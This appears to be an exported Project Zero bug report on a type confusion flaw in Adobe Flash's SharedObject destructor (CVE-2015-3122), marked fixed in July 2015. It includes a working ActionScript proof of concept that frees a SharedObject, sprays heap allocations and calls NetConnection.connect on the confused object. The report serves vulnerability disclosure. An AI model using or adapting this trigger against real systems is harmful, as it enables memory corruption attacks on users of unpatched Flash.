Adobe Flash: SharedObject Destructor Sets data to Normal Type

[GoogleCodeExporter]

The SharedObject destructor sets the data member of the object to be of type 
Normal, which allows it to pass the Normal checks in other methods, leading to 
type confusion. A PoC is below:

var s = SharedObject.getLocal("test");
var b = new flash.display.BitmapData(10, 10, true, 10);
ASSetPropFlags(s, null, 0, 0xff);
s.data = b;
s = 1;

for(var i = 0; i < 200; i++){

    var q = new flash.display.BitmapData(1000, 1000, true, 10);

    }

setInterval(f, 2000);
function f(){
    var n = new NetConnection();
    b.__proto__ = n;
    n.connect.call(b, "http://www.google.com");

    }

A sample fla and swf are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 24 Apr 2015 at 9:38

Attachments:

• shareddestruction1.fla
• shareddestruction1.swf

[GoogleCodeExporter]

Original comment by cev...@google.com on 25 Apr 2015 at 2:03

• Added labels: Id-3614

[GoogleCodeExporter]

Original comment by cev...@google.com on 5 Jul 2015 at 6:30

• Added labels: CVE-2015-3122

[GoogleCodeExporter]

Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

• Changed state: Fixed
• Added labels: Fixed-2015-Jul-8

[GoogleCodeExporter]

Original comment by natashe...@google.com on 3 Aug 2015 at 9:40

• Removed labels: Restrict-View-Commit